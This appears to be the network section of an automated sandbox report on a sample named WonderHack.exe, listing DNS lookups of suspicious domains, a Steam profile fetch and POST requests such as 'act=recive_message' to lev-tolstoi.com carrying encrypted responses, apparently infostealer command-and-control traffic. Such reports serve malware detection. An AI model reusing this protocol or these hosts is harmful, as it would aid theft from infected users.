Dec 23, 2024 00:49:26.288392067 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:26.288412094 CET	443	49806	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:26.288568974 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:26.288599014 CET	443	49806	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:26.288608074 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:26.288739920 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:26.288770914 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:26.335336924 CET	443	49806	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:26.335515976 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:26.335567951 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:26.335583925 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:26.379370928 CET	443	49806	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:26.379576921 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:26.379612923 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:26.379640102 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:26.423378944 CET	443	49806	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:26.423628092 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:26.467329979 CET	443	49806	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:26.648612022 CET	443	49806	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:29.096524954 CET	443	49806	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:29.096781969 CET	443	49806	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:29.096847057 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:29.097001076 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:29.097011089 CET	443	49806	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:29.131506920 CET	49817	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:29.131582975 CET	443	49817	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:29.131674051 CET	49817	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:29.131975889 CET	49817	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:29.132008076 CET	443	49817	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:30.201673985 CET	49817	443	192.168.2.4	104.21.66.86

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 00:48:02.275654078 CET	54073	53	192.168.2.4	1.1.1.1
Dec 23, 2024 00:48:02.496366024 CET	53	54073	1.1.1.1	192.168.2.4
Dec 23, 2024 00:48:02.500402927 CET	53626	53	192.168.2.4	1.1.1.1
Dec 23, 2024 00:48:02.728920937 CET	53	53626	1.1.1.1	192.168.2.4
Dec 23, 2024 00:48:34.220897913 CET	51837	53	192.168.2.4	1.1.1.1
Dec 23, 2024 00:48:34.442045927 CET	53	51837	1.1.1.1	192.168.2.4
Dec 23, 2024 00:49:06.218733072 CET	56456	53	192.168.2.4	1.1.1.1
Dec 23, 2024 00:49:06.436134100 CET	53	56456	1.1.1.1	192.168.2.4
Dec 23, 2024 00:49:06.438205957 CET	54259	53	192.168.2.4	1.1.1.1
Dec 23, 2024 00:49:06.676548958 CET	53	54259	1.1.1.1	192.168.2.4
Dec 23, 2024 00:49:06.680617094 CET	52144	53	192.168.2.4	1.1.1.1
Dec 23, 2024 00:49:06.899812937 CET	53	52144	1.1.1.1	192.168.2.4
Dec 23, 2024 00:49:06.901473999 CET	65317	53	192.168.2.4	1.1.1.1
Dec 23, 2024 00:49:07.207168102 CET	53	65317	1.1.1.1	192.168.2.4
Dec 23, 2024 00:49:07.209728003 CET	60644	53	192.168.2.4	1.1.1.1
Dec 23, 2024 00:49:07.518980980 CET	53	60644	1.1.1.1	192.168.2.4
Dec 23, 2024 00:49:07.522612095 CET	54400	53	192.168.2.4	1.1.1.1
Dec 23, 2024 00:49:07.746644020 CET	53	54400	1.1.1.1	192.168.2.4
Dec 23, 2024 00:49:07.748267889 CET	50760	53	192.168.2.4	1.1.1.1
Dec 23, 2024 00:49:07.885488987 CET	53	50760	1.1.1.1	192.168.2.4
Dec 23, 2024 00:49:10.270246983 CET	57079	53	192.168.2.4	1.1.1.1
Dec 23, 2024 00:49:10.504798889 CET	53	57079	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 00:48:02.275654078 CET	192.168.2.4	1.1.1.1	0x9665	Standard query (0)	bellflamre.click	A (IP address)	IN (0x0001)	false
Dec 23, 2024 00:48:02.500402927 CET	192.168.2.4	1.1.1.1	0x8ad	Standard query (0)	sendypaster.xyz	A (IP address)	IN (0x0001)	false
Dec 23, 2024 00:48:34.220897913 CET	192.168.2.4	1.1.1.1	0x32de	Standard query (0)	steppriflej.xyz	A (IP address)	IN (0x0001)	false
Dec 23, 2024 00:49:06.218733072 CET	192.168.2.4	1.1.1.1	0x4c15	Standard query (0)	greywe-snotty.cyou	A (IP address)	IN (0x0001)	false
Dec 23, 2024 00:49:06.438205957 CET	192.168.2.4	1.1.1.1	0x9c09	Standard query (0)	supporse-comment.cyou	A (IP address)	IN (0x0001)	false
Dec 23, 2024 00:49:06.680617094 CET	192.168.2.4	1.1.1.1	0x4f42	Standard query (0)	smash-boiling.cyou	A (IP address)	IN (0x0001)	false
Dec 23, 2024 00:49:06.901473999 CET	192.168.2.4	1.1.1.1	0xf80e	Standard query (0)	ripe-blade.cyou	A (IP address)	IN (0x0001)	false
Dec 23, 2024 00:49:07.209728003 CET	192.168.2.4	1.1.1.1	0xc21c	Standard query (0)	hosue-billowy.cyou	A (IP address)	IN (0x0001)	false
Dec 23, 2024 00:49:07.522612095 CET	192.168.2.4	1.1.1.1	0x687a	Standard query (0)	pollution-raker.cyou	A (IP address)	IN (0x0001)	false
Dec 23, 2024 00:49:07.748267889 CET	192.168.2.4	1.1.1.1	0x2e7d	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 00:49:10.270246983 CET	192.168.2.4	1.1.1.1	0x6bf7	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 00:48:02.496366024 CET	1.1.1.1	192.168.2.4	0x9665	Name error (3)	bellflamre.click	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 00:48:02.728920937 CET	1.1.1.1	192.168.2.4	0x8ad	No error (0)	sendypaster.xyz		193.143.1.9	A (IP address)	IN (0x0001)	false
Dec 23, 2024 00:48:34.442045927 CET	1.1.1.1	192.168.2.4	0x32de	No error (0)	steppriflej.xyz		193.143.1.9	A (IP address)	IN (0x0001)	false
Dec 23, 2024 00:49:06.436134100 CET	1.1.1.1	192.168.2.4	0x4c15	Name error (3)	greywe-snotty.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 00:49:06.676548958 CET	1.1.1.1	192.168.2.4	0x9c09	Name error (3)	supporse-comment.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 00:49:06.899812937 CET	1.1.1.1	192.168.2.4	0x4f42	Name error (3)	smash-boiling.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 00:49:07.207168102 CET	1.1.1.1	192.168.2.4	0xf80e	Name error (3)	ripe-blade.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 00:49:07.518980980 CET	1.1.1.1	192.168.2.4	0xc21c	Name error (3)	hosue-billowy.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 00:49:07.746644020 CET	1.1.1.1	192.168.2.4	0x687a	Name error (3)	pollution-raker.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 00:49:07.885488987 CET	1.1.1.1	192.168.2.4	0x2e7d	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Dec 23, 2024 00:49:10.504798889 CET	1.1.1.1	192.168.2.4	0x6bf7	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false
Dec 23, 2024 00:49:10.504798889 CET	1.1.1.1	192.168.2.4	0x6bf7	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49760	23.55.153.106	443	3696	C:\Users\user\Desktop\WonderHack.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 23:49:09 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-22 23:49:10 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sun, 22 Dec 2024 23:49:09 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=32d8a0bc1b3577f29e8cdb62; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-22 23:49:10 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-22 23:49:10 UTC	10097	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-22 23:49:10 UTC	10545	IN	Data Raw: 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 Data Ascii: NIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":"htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49765	104.21.66.86	443	3696	C:\Users\user\Desktop\WonderHack.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 23:49:11 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-22 23:49:11 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-22 23:49:12 UTC	1129	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 23:49:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o8c3fdkaqdp8ngt4do7ml21de0; expires=Thu, 17 Apr 2025 17:35:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ECMYctyjqywhYQ%2FFVpHcos%2FNaIWCBeptWEo2rzP0aMxhD5WA%2FT%2BBWhhKIxO9Dj7D1DsU%2BeAeVpjkNo1jId3jsCcb%2FnPpGJeSpI2NeWPxLa41xeVPGvPcZE5wWaJXYA7DWlo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6401cdff9f8ca7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1818&min_rtt=1810&rtt_var=695&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=906&delivery_rate=1557333&cwnd=128&unsent_bytes=0&cid=23fe6ec199d31886&ts=768&x=0"
2024-12-22 23:49:12 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-22 23:49:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49771	104.21.66.86	443	3696	C:\Users\user\Desktop\WonderHack.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 23:49:13 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 54 Host: lev-tolstoi.com
2024-12-22 23:49:13 UTC	54	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 79 62 7a 6b 6c 7a 70 61 6e 6c 77 70 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LPnhqo--ybzklzpanlwp&j=
2024-12-22 23:49:14 UTC	1129	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 23:49:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kl3o0jvg739rmndcspstg5n76j; expires=Thu, 17 Apr 2025 17:35:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kA5LjRUjAHjbD3UPx949pT6mAz5CZ%2B%2FWlCPz%2Bg6OKfmgNHDwyO5WArjW%2FIMM2WjmOggowHPfMMZkq9EWULexuPwyPjg7FTt9ys1nxK6ZLnEZOGQfSn%2FYC1eFTGbr3bz7%2Bbc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6401db0c3df797-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1528&min_rtt=1528&rtt_var=574&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=953&delivery_rate=1902280&cwnd=161&unsent_bytes=0&cid=bd47d09b9d602e3b&ts=776&x=0"
2024-12-22 23:49:14 UTC	240	IN	Data Raw: 34 39 31 63 0d 0a 4e 42 37 2b 77 50 62 77 64 59 70 4d 74 79 47 50 4f 51 49 79 6a 57 2b 36 78 58 4d 6a 74 30 30 4a 31 72 43 70 76 42 58 4f 6c 5a 56 50 50 49 6a 69 7a 4d 52 5a 71 44 2f 53 41 37 56 4e 63 45 66 6f 51 35 69 6b 46 77 47 4e 4b 32 69 36 77 38 79 51 4e 37 6a 34 74 77 35 34 6e 36 79 46 6c 56 6d 6f 4b 63 38 44 74 57 4a 35 45 4f 67 42 6d 50 39 52 52 74 30 76 61 4c 72 53 79 4e 64 36 76 76 6e 32 58 48 4b 5a 71 4a 4f 54 45 65 73 67 32 6b 54 71 58 47 4e 59 34 77 62 58 72 52 34 42 6d 32 39 73 72 4a 4b 54 6e 6c 69 72 34 66 52 35 66 34 32 72 31 49 31 5a 38 57 37 53 54 36 30 44 49 46 50 6f 44 64 61 6a 46 30 6a 66 4a 57 47 79 30 38 33 57 5a 61 66 7a 2f 56 78 38 6d 71 6d 5a 6d 67 58 6d 4b 74 31 50 37 46 5a 6a 45 4b Data Ascii: 491cNB7+wPbwdYpMtyGPOQIyjW+6xXMjt00J1rCpvBXOlZVPPIjizMRZqD/SA7VNcEfoQ5ikFwGNK2i6w8yQN7j4tw54n6yFlVmoKc8DtWJ5EOgBmP9RRt0vaLrSyNd6vvn2XHKZqJOTEesg2kTqXGNY4wbXrR4Bm29srJKTnlir4fR5f42r1I1Z8W7ST60DIFPoDdajF0jfJWGy083WZafz/Vx8mqmZmgXmKt1P7FZjEK
2024-12-22 23:49:14 UTC	1369	IN	Data Raw: 46 4e 33 37 39 52 47 5a 56 38 57 62 66 44 32 73 74 36 76 50 47 33 53 54 4b 46 34 70 4f 65 56 37 42 75 33 55 2f 6a 58 6d 4e 66 36 41 7a 59 74 52 35 42 31 69 64 6a 73 4e 6a 45 30 58 69 69 2f 66 42 65 64 5a 75 74 6b 35 6f 52 35 79 32 56 44 61 31 63 65 42 43 33 54 66 69 33 45 6b 4c 42 49 6e 72 30 7a 59 58 48 4e 36 76 37 74 77 34 38 6d 71 79 56 6e 78 66 36 4a 74 35 49 36 45 6c 72 57 65 49 41 32 4b 6f 62 54 74 59 76 62 4c 37 59 78 4e 52 7a 6f 66 72 78 56 6e 7a 63 37 4e 53 56 44 36 68 32 6c 57 44 6f 53 32 64 63 2b 55 2f 69 35 77 34 50 7a 47 39 73 75 4a 4b 54 6e 6e 2b 70 39 50 52 64 63 35 2b 71 6e 34 41 58 2b 69 6a 59 52 76 39 64 5a 56 37 6c 44 73 71 74 48 30 66 57 4a 6d 43 39 31 38 7a 61 4e 2b 4b 33 38 45 34 38 78 4f 4b 31 6e 78 7a 6b 4a 4d 4a 44 72 55 51 75 53 Data Ascii: FN379RGZV8WbfD2st6vPG3STKF4pOeV7Bu3U/jXmNf6AzYtR5B1idjsNjE0Xii/fBedZutk5oR5y2VDa1ceBC3Tfi3EkLBInr0zYXHN6v7tw48mqyVnxf6Jt5I6ElrWeIA2KobTtYvbL7YxNRzofrxVnzc7NSVD6h2lWDoS2dc+U/i5w4PzG9suJKTnn+p9PRdc5+qn4AX+ijYRv9dZV7lDsqtH0fWJmC918zaN+K38E48xOK1nxzkJMJDrUQuS
2024-12-22 23:49:14 UTC	1369	IN	Data Raw: 72 47 30 66 61 49 6d 66 30 6e 49 76 5a 62 2b 79 76 74 33 78 2f 69 4b 47 65 30 43 4c 72 49 4e 74 45 2b 78 74 2f 48 76 5a 4e 33 36 74 52 47 5a 55 69 61 72 7a 55 32 64 46 36 72 2f 6e 35 57 58 6d 54 71 70 53 53 47 75 30 71 33 6b 6a 75 56 6d 52 43 35 51 33 51 6f 68 42 4c 33 32 38 6c 39 4e 58 54 6e 69 2f 73 78 75 42 64 50 71 6d 68 6d 70 77 51 2f 6d 37 4b 44 66 51 62 5a 31 79 76 56 5a 69 71 47 55 54 51 49 47 71 2b 33 4d 37 55 65 36 54 35 39 45 52 7a 6d 4b 4b 59 6d 68 33 6c 49 4e 46 4c 35 46 42 72 56 75 38 4d 30 75 64 66 41 64 49 33 4b 2b 79 53 2f 39 6c 37 6f 66 69 31 59 33 2b 53 72 4a 4f 45 56 2f 64 67 7a 41 50 71 56 79 41 49 72 77 48 52 70 78 70 4c 30 53 39 73 75 64 66 49 32 58 53 68 38 50 31 59 65 35 69 75 6e 5a 38 52 36 43 6e 52 52 76 39 65 61 56 7a 6a 54 5a Data Ascii: rG0faImf0nIvZb+yvt3x/iKGe0CLrINtE+xt/HvZN36tRGZUiarzU2dF6r/n5WXmTqpSSGu0q3kjuVmRC5Q3QohBL328l9NXTni/sxuBdPqmhmpwQ/m7KDfQbZ1yvVZiqGUTQIGq+3M7Ue6T59ERzmKKYmh3lINFL5FBrVu8M0udfAdI3K+yS/9l7ofi1Y3+SrJOEV/dgzAPqVyAIrwHRpxpL0S9sudfI2XSh8P1Ye5iunZ8R6CnRRv9eaVzjTZ
2024-12-22 23:49:14 UTC	1369	IN	Data Raw: 79 6d 46 79 39 4e 58 48 6e 69 2f 73 2f 76 35 45 63 70 4b 72 6d 5a 51 66 37 79 44 59 53 4f 74 51 5a 31 66 70 41 4e 43 71 46 45 4c 55 4b 32 47 6d 30 63 44 55 65 71 61 33 75 52 5a 37 68 4f 4c 4d 30 6a 44 6b 42 38 56 59 2f 30 30 67 54 36 45 55 6d 4b 41 64 41 59 31 76 61 4c 76 62 78 4e 5a 2f 6f 2f 6a 7a 57 48 71 61 72 35 47 64 48 66 6f 6d 32 30 37 6d 56 47 74 43 37 77 44 63 71 78 56 4a 33 69 55 72 2b 70 4c 4d 78 6a 66 30 74 38 4a 62 63 35 79 68 67 74 49 49 70 6a 65 56 52 4f 45 62 4f 42 44 6a 41 39 69 6f 48 55 33 65 4a 32 71 34 33 4d 7a 62 66 71 54 2f 35 56 64 34 6c 4b 4f 61 6e 52 62 73 4b 39 42 48 36 6c 39 6d 58 36 39 44 6d 4b 41 4a 41 59 31 76 52 4a 50 6e 69 66 39 4e 37 4f 69 35 54 7a 79 62 72 74 54 4b 56 2b 51 74 32 55 76 69 58 57 6c 63 35 51 54 54 71 78 70 Data Ascii: ymFy9NXHni/s/v5EcpKrmZQf7yDYSOtQZ1fpANCqFELUK2Gm0cDUeqa3uRZ7hOLM0jDkB8VY/00gT6EUmKAdAY1vaLvbxNZ/o/jzWHqar5GdHfom207mVGtC7wDcqxVJ3iUr+pLMxjf0t8Jbc5yhgtIIpjeVROEbOBDjA9ioHU3eJ2q43MzbfqT/5Vd4lKOanRbsK9BH6l9mX69DmKAJAY1vRJPnif9N7Oi5TzybrtTKV+Qt2UviXWlc5QTTqxp
2024-12-22 23:49:14 UTC	1369	IN	Data Raw: 37 48 64 79 74 39 78 76 76 44 2b 52 48 4b 52 72 5a 79 61 48 75 6b 71 30 45 37 72 56 32 70 52 36 41 50 57 72 31 45 50 6c 53 68 7a 39 49 71 4c 2f 32 65 33 35 65 46 62 58 5a 47 74 31 49 31 5a 38 57 37 53 54 36 30 44 49 46 6e 39 43 64 57 31 47 45 62 62 49 47 69 6d 30 38 62 56 5a 61 76 34 38 31 46 77 6d 71 32 53 6b 78 4c 69 49 74 4a 47 35 6c 52 73 45 4b 46 4e 33 37 39 52 47 5a 55 42 59 4b 66 46 79 4e 42 38 75 75 79 33 53 54 4b 46 34 70 4f 65 56 37 42 75 31 6b 6a 6d 58 32 42 63 37 77 6e 56 70 77 4e 4f 30 69 68 69 76 38 44 42 32 58 43 6e 2f 2f 78 5a 65 6f 36 75 6d 6f 41 53 2b 6a 79 56 44 61 31 63 65 42 43 33 54 65 36 67 41 56 48 57 62 56 71 69 30 64 33 56 65 71 43 33 36 42 68 6c 33 4b 57 59 30 6b 2b 6f 4b 4e 70 4b 37 6c 52 68 57 65 4d 41 33 61 34 55 51 4e 4d 72 Data Ascii: 7Hdyt9xvvD+RHKRrZyaHukq0E7rV2pR6APWr1EPlShz9IqL/2e35eFbXZGt1I1Z8W7ST60DIFn9CdW1GEbbIGim08bVZav481Fwmq2SkxLiItJG5lRsEKFN379RGZUBYKfFyNB8uuy3STKF4pOeV7Bu1kjmX2Bc7wnVpwNO0ihiv8DB2XCn//xZeo6umoAS+jyVDa1ceBC3Te6gAVHWbVqi0d3VeqC36Bhl3KWY0k+oKNpK7lRhWeMA3a4UQNMr
2024-12-22 23:49:14 UTC	1369	IN	Data Raw: 6a 46 4e 37 4f 35 37 68 5a 37 6b 4f 4c 4d 30 68 54 76 4c 64 52 4a 35 46 64 76 56 2b 73 66 30 71 41 44 51 4e 51 6b 5a 72 6a 53 78 74 4e 39 72 66 37 36 57 6e 47 62 70 5a 75 58 56 36 5a 75 30 6c 75 74 41 79 42 78 34 67 62 55 2f 45 73 42 79 6d 46 79 39 4e 58 48 6e 69 2f 73 39 2f 31 54 64 70 47 68 6d 35 45 46 36 53 6a 48 51 2b 42 52 63 6c 72 6b 43 4e 57 71 48 45 4c 54 4b 57 43 34 77 4d 4c 65 64 4b 65 33 75 52 5a 37 68 4f 4c 4d 30 6a 54 2f 4f 4e 39 45 34 55 31 72 55 65 77 62 31 62 64 52 44 35 55 2b 62 4b 57 53 6b 38 68 6e 75 2f 44 6f 47 47 58 63 70 5a 6a 53 54 36 67 6f 33 45 58 71 58 57 35 43 36 67 76 58 71 42 68 49 30 53 64 6f 74 4e 62 50 32 58 4b 76 2b 2f 78 52 66 35 4f 6d 6e 5a 77 65 35 32 36 62 41 2b 70 44 49 41 69 76 4c 4d 4f 6b 48 55 79 56 4d 43 57 74 6b Data Ascii: 